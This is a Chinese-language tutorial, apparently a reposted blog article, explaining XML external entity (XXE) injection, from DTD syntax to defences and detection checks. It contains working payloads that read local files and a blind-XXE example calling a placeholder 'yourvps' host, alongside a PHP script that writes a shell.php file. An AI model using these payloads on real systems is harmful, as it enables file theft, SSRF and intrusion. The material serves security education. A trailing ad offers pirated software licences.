XXE漏洞原理[通俗易懂]

XXE漏洞原理[通俗易懂]XXE漏洞是XML外部实体注入漏洞,那什么是外部实体呢?XMLDTD1、文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。2、DTD可被成行地声明于XML文档中,也可作为一个外部引用。Ps:第二条是重点,也是XXE漏洞产生的原因,DTD可以定义外部实体并引用DTD语法若DTD要在XML文档中使用,他需要包含在·DOCTYPE声明…

大家好,又见面了,我是你们的朋友全栈君。

XXE漏洞是XML外部实体注入漏洞,那什么是外部实体呢?


XML DTD

1、文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

2、DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用

Ps:第二条是重点,也是XXE漏洞产生的原因,DTD可以定义外部实体并引用

DTD语法

  • 若DTD要在XML文档中使用,他需要包含在·DOCTYPE声明中

  • 语法

    <!DOCTYPE 根元素 [元素声明]>
    
  • 实体引用

    <!ENTITY 实体名 “”实体值“”>
    
  • 示例代码

    <?xml version="1.0" encoding="utf-8"?> //xml声明
    <!DOCTYPE playwin [ <!ENTITY name "playwin">
    ]>
    <resume>
    <name> &name; </name>
    </resume>
    

    在这里插入图片描述

    • 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 ( ; )。
    • 声明 name 的值为 playwin ,下面引用 &name;xml会自动解析为他的值,如果有的话,否则报错
  • 外部实体

    • 简单的说,就不是xml本身已定义的实体,需要引用在xml文件之外的数据。
    • 语法
      <!ENTITY 实体名字 SYSTEM "URI/URL">
      
      • SYSTEM 启了一个声明作用,让解析器知道,这是一个外部实体
      • 如果不在其他环境中,只打开xml文件本身,浏览器默认是不会引用外部实体
        在这里插入图片描述
    • 根据不同环境不同协议读取外部数据
      在这里插入图片描述

什么是XXE

  • XXE 也就是 XML外部实体注入攻击

利用方式

  • php环境下

    <?php
    $xml=simplexml_load_string($_GET['xml']);
    print_r($xml);
    ?>	
    
  • 将以下xml代码进行URL编码,读取文件

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE playwin [ <!ENTITY name SYSTEM "file:///D:/phpStudy/PHPTutorial/WWW/1.txt">
    ]>
    <resume>
    <name> &name; </name>
    </resume>
    

    在这里插入图片描述

  • 回显
    在这里插入图片描述

    • 成功XXE

    XXE能做什么

    • blind XXE

      • 若上面php中没有print_r,我们还是可以发起http请求,进行攻击

      • <?php
        $xml=simplexml_load_string($_GET['xml']);
        ?>
        
      • 利用参数实体

        <!ENTITY % 实体名字 SYSTEM(外部实体加上) ‘实体值’>
        
      • 在vps创建一个php文件

        <?php
        file_put_contents("shell.php", $_GET['file']) ;
        ?>
        
      • 通过过参数实体,请求vps上的dtd文件

        • dtd文件
        <!ENTITY % haha "<!ENTITY ok SYSTEM 'http://yourvps/2.php?file=123'>">
        
        • xml文件
        <?xml version="1.0" encoding="utf-8"?>
        <!DOCTYPE playwin [ <!ENTITY % name SYSTEM "http://yourvps/1.dtd">  //请求dtd文件
        %name;
        %haha;
        ]>
        <resume>
        <name> &ok; </name>
        </resume>
        
      • 结果
        在这里插入图片描述

        • 理论上我们可以写入shell
    • 读取文件

      • 利用各种协力读取想要的文件
      • 读取php文件需要利用php://协议进行base64加密输出,因为php< ,>会影响到xml
    • 命令执行

      • php环境下,xml命令执行要求php装有expect扩展,而且php上解析也需要它
    • 内网探测/SSRF

      • XML 外部实体中是可以使用http://协议,可以利用该请求去探查内网,进行SSRF攻击
    • 进行 DOS 攻击

    • 文件上传

      • 在java中利用jar://协议可实现
    • 钓鱼


    防御XXE

    • 禁用开发语言引用外部实体的能力
      • PHP:

        libxml_disable_entity_loader(true);

      • JAVA:

        DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

        dbf.setExpandEntityReferences(false);

      • Python:

        from lxml import etree

        xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    • 白名单过滤

    判断是否存在XXE漏洞

    • xml是否会被解析
      <?xml version='1.0' encoding='utf-8'?>
      <!DOCTYPE ROOT [ <!ENTITY playwin "success">
      ]>
      <root>&playwin;</root>
      
      • 若出现success,则说明解析成功,进行下一步
    • 检测服务器是否支持引用外部实体
      <?xml version='1.0' encoding='utf-8'?>
      <!DOCTYPE ROOT [ <!ENTITY playwin SYSTEM "http://yourvps/xx.txt">
      ]>
      <root>&playwin;</root>
      
      • 解析成功,说明有XXE漏洞
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/142367.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • SecureCRT乱码问题解决方法[通俗易懂]

    网上有很多达人给出了SecureCRT登录linux,中文乱码问题的解决办法,我这里总结一下解决思路,原因还是SecureCRT客户端字体/字符集的原因,主要分以下两种情况解决:一后台刷日志时(tail–flogs/jboss_stdout.log)
    首先,确保Linux下的文件(比如日志)在Windows下打开没有乱码,显示正常就表明linux的字符集设置没有问题,不用去修改;
    其次,修改SecureCRT中的SessionOptions参数配置,如图中的红框:

  • 在GridView中增加LinkButton,出现错误:EnableEventValidation=”false”

    在GridView中增加LinkButton,出现错误:EnableEventValidation=”false”错误信息:Invalidpostbackorcallbackargument.Eventvalidationisenabledusing<pagesenableEventValidation=”true”/>inconfigurationor<%@PageEnableEventValidation=”true”%>inapag…

  • 设计模式之桥接(bridge)模式

    在现实生活中,我们常常会用到两种或多种类型的笔,比如毛笔和蜡笔。假设我们需要大、中、小三种类型的画笔来绘制12中不同的颜色,如果我们使用蜡笔,需要准备3*12=36支。但如果使用毛笔的话,只需要提供3

    2021年12月19日
  • 树莓派基础教程_树莓派从入门到精通

    树莓派基础教程_树莓派从入门到精通截至目前(20210405),树莓派最新版本为4B,如下图所示:下载最新Raspbian系统镜像1.首先进入树莓派官网:https://www.raspberrypi.org/,点击Software2.点击红框标出的Seealldowmloadoptions3.选择一个进行下载推荐下载中间的桌面版。注意,可以点击Downloadtorrent种子下载会比较快。下载完成后得到的是一个压缩文件,解压缩后是一个.img文件,该文件需要烧录到SD中。下面这是老版的官网界面如果你想下载以前

    2022年10月15日
  • c#窗体怎么居中_窗口居中

    c#窗体怎么居中_窗口居中窗体始终居桌面中央显示,需要考虑以下两个方面:(1).窗体距离桌面左部边缘与桌面的宽度以及自身宽度的判断;(2).窗体距离桌面上边缘与桌面的高度以及自身高度的判断下面用代码一一实现,当然这都是在窗体加载时完成this.Left=Screen.PrimaryScreen.Bounds.Width/2-this.Width/2;//桌面的宽度的一半减去自身宽的的一半this…….

  • 一阶倒立摆的PID_简单旋转装置

    一阶倒立摆的PID_简单旋转装置  我做PID算法的背景和经历:本人之前电子信息科学与技术专业,对控制方向颇感兴趣,刚上大学时听到实验室老师说PID算法,那年在暑假集训准备全国电子设计竞赛,我正在练习做一个以前专科的题目,帆板角度控制系统,还不懂PID是个什么玩意,老师让我把PID加到这个题目里。当时给了一些电子版的一些教程,但是没看懂。。。。。。。后来对四旋翼很感兴趣,想弄一架玩玩再亲自写程序做一架,买了PIX飞控玩了很久,自…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号